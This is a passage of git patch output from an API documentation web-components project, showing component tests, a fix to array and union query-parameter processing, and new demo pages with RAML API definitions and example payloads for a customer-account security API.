model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the payload schema', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(node, 'has the payload document'); + }); + + it('ignores the payload when not defined', async () => { + const data = loader.lookupResponses(model, '/people/{personId}', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.notOk(node); + }); + }); + + describe('response media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response media type selector', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[1]; + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + }); + + it('ignores the media type when not defined', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[0]; + const selector = section.querySelector('.media-type-selector'); + assert.notOk(selector, 'has the payload document'); + }); + + it('selecting a mime type changes the payload', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelectorAll('.params-section')[1]; + const selector = section.querySelector('.media-type-selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + + buttons[1].click(); + + await nextFrame(); + + assert.equal(element.mimeType, 'application/xml', 'media type is changed'); + }); + }); + + describe('links rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'oas-callbacks'); + }); + + it('renders the links table', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const title = element.shadowRoot.querySelector('.links-header'); + assert.ok(title, 'has the links title'); + assert.equal(title.textContent.trim(), 'Links'); + }); + + it('renders titles for each link', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const titles = element.shadowRoot.querySelectorAll('.link-header'); + assert.lengthOf(titles, 2, 'has 2 links'); + + assert.equal(titles[0].textContent.trim(), 'unsubscribeOp', 'has link #1 title'); + assert.equal(titles[1].textContent.trim(), 'otherOp', 'has link #2 title'); + }); + + it('renders a single header', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.link-header')); + assert.lengthOf(nodes, 1); + assert.equal(nodes[0].innerText.trim(), 'paymentUrl'); + }); + + it('renders the operation id', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const nodes = element.shadowRoot.querySelectorAll('.operation-id'); + assert.lengthOf(nodes, 1, 'has only a single operationId'); + + const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.operation-id .operation-name')); + assert.equal(node.innerText.trim(), 'unsubscribeOperation'); + }); + + it('does no render operation id when missing', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('.operation-id'); + assert.notOk(node); + }); + + it('renders mapping table', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const nodes = element.shadowRoot.querySelectorAll('.mapping-table'); + assert.lengthOf(nodes, 2); + }); + + it('renders single mapping', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[0]; + const rows = node.querySelectorAll('tr'); + // header + single row + assert.lengthOf(rows, 2); + }); + + it('renders multiple mapping', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[1]; + const rows = node.querySelectorAll('tr'); + // header + two rows + assert.lengthOf(rows, 3); + }); + + it('renders mapping values', async () => { + const data = loader.lookupResponses(model, '/subscribe', 'post')[0]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelectorAll('.mapping-table')[0]; + const row = node.querySelectorAll('tr')[1]; + const cols = row.querySelectorAll('td'); + + assert.equal(cols[0].innerText.trim(), 'Id', 'variable is rendered'); + assert.equal(cols[1].innerText.trim(), '$response.body#/subscriberId', 'expression is rendered'); + }); + }); + }); +}); From 19dde291c87a645edc094aaf8a13fe31ec77adc7 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Thu, 30 Sep 2021 01:44:15 -0700 Subject: [PATCH 13/24] fix: fixing array queryString processing Signed-off-by: Pawel Psztyc --- demo/apis/SE-12752/SE-12752.raml | 3 +++ src/lib/QueryParameterProcessor.js | 28 ++++++++++++++++++++++++---- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/demo/apis/SE-12752/SE-12752.raml b/demo/apis/SE-12752/SE-12752.raml index 8497785..d2107f9 100644 --- a/demo/apis/SE-12752/SE-12752.raml +++ b/demo/apis/SE-12752/SE-12752.raml @@ -18,6 +18,9 @@ types: /test: get: queryString: queryParam +/test2: + get: + queryString: otherParam /union: get: queryString: queryParam | otherParam diff --git a/src/lib/QueryParameterProcessor.js b/src/lib/QueryParameterProcessor.js index 056bf80..b8b2a0f 100644 --- a/src/lib/QueryParameterProcessor.js +++ b/src/lib/QueryParameterProcessor.js @@ -29,7 +29,12 @@ export class QueryParameterProcessor { const params = this.nodeShapeOperationParameter(/** @type ApiNodeShape */ (schema), binding, source); result = result.concat(params); } else if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { - result.push(this.arrayShapeOperationParameter(/** @type ApiArrayShape */ (schema), binding, source)); + const arrResult = this.arrayShapeOperationParameter(/** @type ApiArrayShape */ (schema), binding, source); + if (Array.isArray(arrResult)) { + result = result.concat(arrResult); + } else if (arrResult) { + result.push(arrResult); + } } else if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { const params = this.unionShapeOperationParameter(/** @type ApiUnionShape */ (schema), binding, source); if (params) { @@ -118,10 +123,15 @@ export class QueryParameterProcessor { * @param {ApiArrayShape} shape * @param {string} binding The parameter binding. * @param {string=} source Optional parameter source. - * @returns {OperationParameter} + * @returns {OperationParameter|OperationParameter[]} */ arrayShapeOperationParameter(shape, binding, source) { - const { id, name, } = shape; + const target = shape.items || shape; + if (target.types.includes(ns.w3.shacl.NodeShape)) { + const typed = /** @type ApiNodeShape */ (shape.items); + return this.collectOperationParameters(typed, binding, source); + } + const { id, name, } = target; const constructed = /** @type ApiParameter */ ({ id, binding, @@ -150,7 +160,17 @@ export class QueryParameterProcessor { */ unionShapeOperationParameter(shape, binding, source) { const { anyOf=[], or=[], and=[], xone=[] } = shape; - const info = anyOf[0] || or[0] || and[0] || xone[0]; + if (and.length) { + let result = []; + and.forEach((item) => { + const itemResult = this.collectOperationParameters(item, binding, source); + if (itemResult) { + result = result.concat(itemResult); + } + }); + return result; + } + const info = anyOf[0] || or[0] || xone[0]; if (!info) { return undefined; } From 295551111207ab9660d88a76e6354b79a4b37f02 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Fri, 1 Oct 2021 02:26:32 -0700 Subject: [PATCH 14/24] chore: moving tests from other components Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 1 + demo/api-operation.js | 15 +- demo/api-payload.html | 16 + demo/api-payload.js | 191 ++++++++++ demo/apis/APIC-463/APIC-463.raml | 13 + demo/apis/SE-11508/SE-11508.raml | 257 +++++++++++++ .../examples/change-credentials-post-201.raml | 9 + .../convert-aggregator-quote-post-201.raml | 19 + .../examples/create-quote-post-200.raml | 12 + .../examples/create-quote-post-201.raml | 8 + .../examples/create-quote-post-request.raml | 19 + .../examples/customer-accounts-get-200.raml | 41 ++ .../customer-accounts-patch-request.raml | 31 ++ .../examples/retrieve-quotes-post-200.raml | 17 + .../send-correspondence-post-request.raml | 34 ++ .../validate-credentials-post-200.raml | 30 ++ ...lidate-customer-account-hash-post-400.raml | 10 + ...te-customer-account-hash-post-request.raml | 7 + .../validate-customer-account-post-200.raml | 76 ++++ .../validate-customer-account-post-400.raml | 10 + ...alidate-customer-account-post-request.raml | 8 + .../securityscheme-system/0.0.4/auth.raml | 10 + .../0.0.19/api-headers-trait.raml | 20 + .../traits-system/0.0.19/bad-responses.raml | 30 ++ .../traits-system/0.0.19/create.raml | 30 ++ .../0.0.19/customer-account-filter-trait.raml | 8 + .../traits-system/0.0.19/delete.raml | 48 +++ .../traits-system/0.0.19/payment.raml | 10 + .../0.0.19/policy-filter-trait.raml | 8 + .../traits-system/0.0.19/read.raml | 48 +++ .../0.0.19/types/common-responses.raml | 8 + .../traits-system/0.0.19/types/error.raml | 12 + .../traits-system/0.0.19/underwriting.raml | 11 + .../traits-system/0.0.19/update.raml | 48 +++ .../SE-11508/model-system/api-headers.raml | 8 + .../model-system/api-strict-headers.raml | 25 ++ .../model-system/change-credentials-type.raml | 11 + .../convert-aggregator-quote-types.raml | 25 ++ .../model-system/create-quote-types.raml | 35 ++ .../model-system/customer-accounts-types.raml | 57 +++ .../ping-error-messages-types.raml | 17 + .../ping-validate-credentials.raml | 16 + .../model-system/retrieve-quotes-types.raml | 40 ++ demo/apis/SE-12291/SE-12291.json | 357 ++++++++++++++++++ demo/apis/anyOf/anyOf.yaml | 37 ++ demo/apis/demo-api/demo-api.raml | 1 + demo/apis/steveTest-1/exchange.json | 6 + .../schemas/schema-termsConditionsAccept.json | 43 +++ .../schema-termsConditionsAccept-Get.json | 24 ++ demo/apis/steveTest-1/stevetest.json | 167 ++++++++ .../steveTest-1/traits/response-errors.json | 123 ++++++ .../traits/schema-response-errors.json | 35 ++ demo/index.html | 2 + demo/model.mjs | 53 +-- package-lock.json | 20 +- package.json | 8 +- src/elements/ApiAnnotationDocumentElement.js | 8 +- src/elements/ApiDocumentationBase.d.ts | 35 +- src/elements/ApiDocumentationBase.js | 96 ++++- src/elements/ApiPayloadDocumentElement.js | 16 +- src/elements/ApiRequestDocumentElement.js | 18 +- src/elements/ApiSchemaDocumentElement.js | 88 +---- test/AmfLoader.js | 72 +++- .../ApiRequestDocumentElement.test.js | 168 +++++++++ .../ApiResponseDocumentElement.test.js | 17 + web-test-runner.config.mjs | 3 +- 66 files changed, 2593 insertions(+), 153 deletions(-) create mode 100644 demo/api-payload.html create mode 100644 demo/api-payload.js create mode 100644 demo/apis/APIC-463/APIC-463.raml create mode 100644 demo/apis/SE-11508/SE-11508.raml create mode 100644 demo/apis/SE-11508/examples/change-credentials-post-201.raml create mode 100644 demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml create mode 100644 demo/apis/SE-11508/examples/create-quote-post-200.raml create mode 100644 demo/apis/SE-11508/examples/create-quote-post-201.raml create mode 100644 demo/apis/SE-11508/examples/create-quote-post-request.raml create mode 100644 demo/apis/SE-11508/examples/customer-accounts-get-200.raml create mode 100644 demo/apis/SE-11508/examples/customer-accounts-patch-request.raml create mode 100644 demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml create mode 100644 demo/apis/SE-11508/examples/send-correspondence-post-request.raml create mode 100644 demo/apis/SE-11508/examples/validate-credentials-post-200.raml create mode 100644 demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml create mode 100644 demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml create mode 100644 demo/apis/SE-11508/examples/validate-customer-account-post-200.raml create mode 100644 demo/apis/SE-11508/examples/validate-customer-account-post-400.raml create mode 100644 demo/apis/SE-11508/examples/validate-customer-account-post-request.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml create mode 100644 demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml create mode 100644 demo/apis/SE-11508/model-system/api-headers.raml create mode 100644 demo/apis/SE-11508/model-system/api-strict-headers.raml create mode 100644 demo/apis/SE-11508/model-system/change-credentials-type.raml create mode 100644 demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml create mode 100644 demo/apis/SE-11508/model-system/create-quote-types.raml create mode 100644 demo/apis/SE-11508/model-system/customer-accounts-types.raml create mode 100644 demo/apis/SE-11508/model-system/ping-error-messages-types.raml create mode 100644 demo/apis/SE-11508/model-system/ping-validate-credentials.raml create mode 100644 demo/apis/SE-11508/model-system/retrieve-quotes-types.raml create mode 100644 demo/apis/SE-12291/SE-12291.json create mode 100644 demo/apis/anyOf/anyOf.yaml create mode 100755 demo/apis/steveTest-1/exchange.json create mode 100755 demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json create mode 100755 demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json create mode 100755 demo/apis/steveTest-1/stevetest.json create mode 100755 demo/apis/steveTest-1/traits/response-errors.json create mode 100755 demo/apis/steveTest-1/traits/schema-response-errors.json create mode 100644 test/elements/ApiRequestDocumentElement.test.js diff --git a/.vscode/settings.json b/.vscode/settings.json index 36327f8..48663bd 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -7,6 +7,7 @@ "Nexmo", "notryit", "serverscountchanged", + "stevetest", "Tryit", "Unionable", "xone" diff --git a/demo/api-operation.js b/demo/api-operation.js index 98b4d61..f14d0a0 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -128,9 +128,6 @@ class ComponentPage extends AmfDemoBase { ['multi-server', 'Multiple servers'], ['nexmo-sms-api', 'Nexmo SMS API'], ['appian-api', 'Applian API'], - ['APIC-15', 'APIC-15'], - ['SE-10469', 'SE-10469'], - ['SE-11415', 'SE-11415'], ['async-api', 'async-api'], ['api-keys', 'API key (OAS)'], ['oauth-flows', 'OAuth 2 flows'], @@ -138,14 +135,20 @@ class ComponentPage extends AmfDemoBase { ['oauth-pkce', 'OAuth 2 PKCE'], ['secured-unions', 'Secured unions'], ['secured-api', 'Secured API'], - ['SE-12957', 'SE-12957: OAS query parameters documentation'], - ['SE-12959', 'SE-12959: OAS summary field'], - ['SE-12752', 'SE-12752: Query string (SE-12752)'], ['oas-callbacks', 'OAS 3 callbacks'], + ['APIC-15', 'APIC-15'], + ['APIC-463', 'APIC-463'], ['APIC-553', 'APIC-553'], ['APIC-560', 'APIC-560'], ['APIC-582', 'APIC-582'], ['APIC-650', 'APIC-650'], + ['anyOf', 'APIC-561'], + ['SE-10469', 'SE-10469'], + ['SE-11508', 'SE-11508'], + ['SE-12957', 'SE-12957: OAS query parameters documentation'], + ['SE-11415', 'SE-11415'], + ['SE-12752', 'SE-12752: Query string (SE-12752)'], + ['SE-12959', 'SE-12959: OAS summary field'], ].forEach(([file, label]) => { result[result.length] = html` ${label} diff --git a/demo/api-payload.html b/demo/api-payload.html new file mode 100644 index 0000000..2521aee --- /dev/null +++ b/demo/api-payload.html @@ -0,0 +1,16 @@ + + + + + + + API Payload + + + + +
    + + + + diff --git a/demo/api-payload.js b/demo/api-payload.js new file mode 100644 index 0000000..17264cb --- /dev/null +++ b/demo/api-payload.js @@ -0,0 +1,191 @@ +import { html } from 'lit-html'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-payload-document.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** + * @typedef ResponsePayload + * @property {string} code + * @property {Payload[]} payloads + */ + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'request', 'response', + ]); + /** @type Payload[] */ + this.request = undefined; + /** @type ResponsePayload[] */ + this.response = undefined; + this.compatibility = false; + this.componentName = 'api-payload-document'; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + this.request = []; + this.response = []; + if (type === 'method') { + this.setPayloads(selected); + } + } + + /** + * @param {string} operationId + */ + setPayloads(operationId) { + const webApi = this._computeApi(this.amf); + const operation = this._computeMethodModel(webApi, operationId); + if (!operation) { + return; + } + const expects = this._computeExpects(operation); + if (expects) { + let payloads = this._computePayload(expects); + if (payloads) { + if (!Array.isArray(payloads)) { + payloads = [payloads]; + } + this.request = payloads; + } + } + + const returns = this._computeReturns(operation); + if (Array.isArray(returns)) { + const result = []; + returns.forEach((response) => { + const code = this._getValue(response, this.ns.aml.vocabularies.apiContract.statusCode); + let payloads = this._computePayload(response); + if (payloads) { + if (!Array.isArray(payloads)) { + payloads = [payloads]; + } + const item = /** @type ResponsePayload */ ({ + code, + payloads, + }); + result.push(item); + } + }); + this.response = result; + } + } + + contentTemplate() { + return html` +

    API payload

    +

    Former api-body-document

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API payload document with various configuration options. +

    + + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { request, response } = this; + const hasRequests = Array.isArray(request) && !!request.length; + const hasResponses = Array.isArray(response) && !!response.length; + if (!hasRequests && !hasResponses) { + return html`

    Select API operation in the navigation

    `; + } + return html` + ${this.requestsTemplate()} + ${this.responsesTemplate()} + `; + } + + requestsTemplate() { + const { request } = this; + if (!Array.isArray(request) || !request.length) { + return ''; + } + return html` +
    +

    Request payload

    + ${request.map(p => this.payloadTemplate(p))} +
    + `; + } + + responsesTemplate() { + const { response } = this; + if (!Array.isArray(response) || !response.length) { + return ''; + } + return html` +
    +

    Response payload

    + ${response.map((item) => this.responseItemTemplate(item))} +
    + `; + } + + /** + * @param {ResponsePayload} item + */ + responseItemTemplate(item) { + const { code, payloads } = item; + const hasPayload = Array.isArray(payloads) && !!payloads.length; + return html` +
    +

    Status code: ${code}

    + ${!hasPayload ? html`

    No payload defined for this status code

    ` : ''} + ${hasPayload ? payloads.map(p => this.payloadTemplate(p)) : ''} +
    + `; + } + + /** + * @param {Payload} payload + */ + payloadTemplate(payload) { + return html` + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['SE-11508', 'SE-11508'], + ['SE-12291', 'OAS "and" type'], + ['APIC-463', 'APIC-463'], + ['anyOf', 'AnyOf'], + ['stevetest', 'stevetest'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/apis/APIC-463/APIC-463.raml b/demo/apis/APIC-463/APIC-463.raml new file mode 100644 index 0000000..b6663ff --- /dev/null +++ b/demo/apis/APIC-463/APIC-463.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 +title: missing-body +/test: + post: + description: Upload a dataset[.txt,.csv] or config[.conf] file. Maximum file size is 2 GB. + body: + binary/octet-stream: + multipart/form-data: + properties: + file: + description: The file to upload. + required: true + type: file \ No newline at end of file diff --git a/demo/apis/SE-11508/SE-11508.raml b/demo/apis/SE-11508/SE-11508.raml new file mode 100644 index 0000000..e55c6d5 --- /dev/null +++ b/demo/apis/SE-11508/SE-11508.raml @@ -0,0 +1,257 @@ +#%RAML 1.0 +baseUri: /security/v1 +title: System - Security +version: v1 +mediaType: application/json + +uses: + convert-aggregator-quote-model: model-system/convert-aggregator-quote-types.raml + credentials-model: model-system/change-credentials-type.raml + retrieve-quotes-model: model-system/retrieve-quotes-types.raml + create-quote-model: model-system/create-quote-types.raml + ping-customer-accounts-model: model-system/customer-accounts-types.raml + ping-validate-credentials: model-system/ping-validate-credentials.raml + ping-error-messages: model-system/ping-error-messages-types.raml + error-model: exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml + +traits: + api-headers : !include model-system/api-headers.raml + api-strict-headers: !include model-system/api-strict-headers.raml + bad-responses: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml + + +securitySchemes: + auth: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml + +securedBy: [auth] + +/convertaggregatorquote: + post: + is: [api-headers, bad-responses] + description: Used to create a P quote from a click-through URL. + body: + application/json: + type: convert-aggregator-quote-model.AggregatorCreateQuote + responses: + 201: + body: + type: convert-aggregator-quote-model.CreatedQuote + examples: !include examples/convert-aggregator-quote-post-201.raml + +/changecredentials: + post: + is: [ api-headers, bad-responses ] + description: Used to update credentials. + body: + application/json: + type: credentials-model.UpdateCredentials + examples: !include examples/change-credentials-post-201.raml + responses: + 201: + +/retrievequotes: + post: + is: [ api-headers, bad-responses ] + description: Used to retrieve quotes for valid account. + body: + application/json: + type: retrieve-quotes-model.RetrieveQuotesRequest + responses: + 200: + body: + type: retrieve-quotes-model.RetrieveQuotesResponse + examples: !include examples/retrieve-quotes-post-200.raml + +/createquote: + post: + is: [ api-headers, bad-responses ] + description: Functional endpoint used to check if an account with a policy exists and, if it doesn't, create a new account/quote with a blank vehicle. + body: + application/json: + type: create-quote-model.CreateQuotePostRequest + examples: !include examples/create-quote-post-request.raml + responses: + 200: + description: response returned if the account matches + body: + type: create-quote-model.CreateQuotePostMatchedResponse + examples: !include examples/create-quote-post-200.raml + + 201: + description: response returned if the account has been created since it was not matching any existing one + body: + type: create-quote-model.CreateQuotePostCreatedResponse + examples: !include examples/create-quote-post-201.raml + +/validatecredentials: + post: + is: [api-strict-headers] + description: used to validate the user credentials (email and password). The successful response includes all the customer accounts that match the email where one of them also has the same password as the one passed in. It will also return a ping user id if one is associated with any customer accounts in disc. + + body: + properties: + email: + type: string + required: true + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + password: + type: string + required: true + + example: + email: "jsmith@provider.com" + password: "XXXXXXXX" + + responses: + 200: + description: the customer accounts that match the email where one of them also has the same password as the one passed in, plus a ping user id if one is associated with any customer accounts in DISC + body: + type: ping-validate-credentials.PingValidateCredentialsResponse[] + examples: !include examples/validate-credentials-post-200.raml + + 400: + description: Bad request with empty body if the RAML contract is violated. Otherwise specific error messages will be returned + body: + type: ping-error-messages.PingErrorMessagesResponse + example: + messages: + - # match not found + code: "BGLXXXX" + description: "Could not validate email and password" + + 500: + description: Internal Server Error + + +/validatecustomeraccounthash: + post: + is: [api-strict-headers, bad-responses] + description: used after a sales journey to verify if the customer account exists, so it can then be registered in ping. + + body: + application/json: + properties: + encryptedHash: + type: string + required: true + examples: !include examples/validate-customer-account-hash-post-request.raml + + responses: + 200: + description: the list of the matched customer accounts + body: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse + examples: !include examples/validate-customer-account-post-200.raml + + 400: + description: Bad Request if the hash cannot be decrypted or the timestamp is out of date + body: + application/json: + type: error-model.Error + examples: !include examples/validate-customer-account-hash-post-400.raml + + +/customeraccounts: + get: + is: [api-strict-headers] + description: used to retrieve the list of the Customer Accounts filtered by email address. This API is used as part of the registration flow to identify any other accounts associated with the email so they can be synched with the PING registry. + + queryParameters: + emailaddress: + type: string + required: true + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + example: "hello@provider.co.uk" + + responses: + 200: + description: the list of the matched customer accounts + body: + type: ping-customer-accounts-model.PingCustomerAccount[] + examples: !include examples/customer-accounts-get-200.raml + + 400: + description: Bad request + + 500: + description: Internal Server Error + + + /{customeraccountid}: + uriParameters: + customeraccountid: + type: string + minLength: 9 + maxLength: 9 + example: "123456789" + + patch: + is: [ api-strict-headers , bad-responses ] + description: This is used to sync disc with the ping user id and sync all customer accounts to the same email and password. Ping will be required to call this for each customer account id. + body: + type: ping-customer-accounts-model.PatchPingCustomerAccountRequest + examples: !include examples/customer-accounts-patch-request.raml + + responses: + 204: + description: Success. PING user id, email, password where updated. + + /initialregistration: + post: + is: [ api-strict-headers , bad-responses ] + description: This is to perform the initial registration of the customer account. This API is used as part of the registration process to setup any new customer in the OLSS system. If the customer is already setup in OLSS then this service will return success. + body: + properties: + encryptedPassword: + type: string + required: true + example: "XXXXX" + + responses: + 200: + description: Success. The account was created or already existed in OLSS. + + /sendcorrespondence: + post: + is: [ api-strict-headers , bad-responses ] + description: used as part of the registration process to inform the disc system to send emails to the customer. These emails are use to confirm things like registration was successful. + body: + properties: + correspondenceTypeCode: + type: + enum: [ registration-confirmation, forgotten-password, password-reset-confirmation, change-password-confirmation, change-email-confirmation, email-verification ] + required: true + callbackUrl: + type: string + required: false + + examples: !include examples/send-correspondence-post-request.raml + responses: + 200: + description: Success. Email sent. + + /validate: + post: + is: [api-strict-headers, bad-responses] + description: This API is used to verify if the customer account + body: + application/json: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedRequest + examples: !include examples/validate-customer-account-post-request.raml + responses: + 200: + description: response returned if the account matches + body: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse + examples: !include examples/validate-customer-account-post-200.raml + + 400: + description: Bad request + body: + application/json: + type: error-model.Error + examples: !include examples/validate-customer-account-post-400.raml + + diff --git a/demo/apis/SE-11508/examples/change-credentials-post-201.raml b/demo/apis/SE-11508/examples/change-credentials-post-201.raml new file mode 100644 index 0000000..0d8d9b1 --- /dev/null +++ b/demo/apis/SE-11508/examples/change-credentials-post-201.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 NamedExample + +updateCredentials: + displayName: Update Credentials + value: + encryptedPassword : "xxxxxxx" + newEncryptedPassword : "xxxxx" + newUserName : "test@email.com" + \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml new file mode 100644 index 0000000..1b4fa16 --- /dev/null +++ b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 NamedExample + +no-match-customer: + displayName: A to P quote without matched Customer + value: + referenceId: "P8T000027" + quoteId: "P8T000027-01" + source: "moneysupermarket" + existingCustomer: false + +match-customer: + displayName: A to P quote with matched Customer + value: + referenceId: "118806474" + source: "Compare the Market" + existingCustomer: true + title: "Mr" + firstName: "Test" + lastName: "Name" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-200.raml b/demo/apis/SE-11508/examples/create-quote-post-200.raml new file mode 100644 index 0000000..c4e576f --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-200.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample + +createQuotePostMatchedExample: + displayName: An example of the POST Response for createquote, when the account matches the one in the request + value: + customerAccountId: "WES456789" + quoteId: "WES456789-01" + titleCode: "MR" + title: "Mr" + firstName: "John" + lastName: "Doe" + existingCustomer: true \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-201.raml b/demo/apis/SE-11508/examples/create-quote-post-201.raml new file mode 100644 index 0000000..ca9bb43 --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-201.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample + +createQuotePostCreatedExample: + displayName: An example of the POST Response for createquote, when the account has been created + value: + customerAccountId: "WES456789" + quoteId: "WES456789-01" + existingCustomer: false \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-request.raml b/demo/apis/SE-11508/examples/create-quote-post-request.raml new file mode 100644 index 0000000..a52a52b --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-request.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 NamedExample + +createQuotePostRequestExample: + displayName: An example of the POST Request for createquote + value: + titleCode: "MR" + firstName: "John" + lastName: "Doe" + dateOfBirth: "2001-01-01" + maritalStatusCode: "M" + addressLine1: "Dun-roamin" + addressLine2: "1 Back Gate" + addressLine3: "Victoria St" + addressLine4: "Spalding" + addressLine5: "Lincolnshire" + postCode: "PE11 1EA" + maskCode: "ABC" + product: "Car" + clientId: "5656565656565" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/customer-accounts-get-200.raml b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml new file mode 100644 index 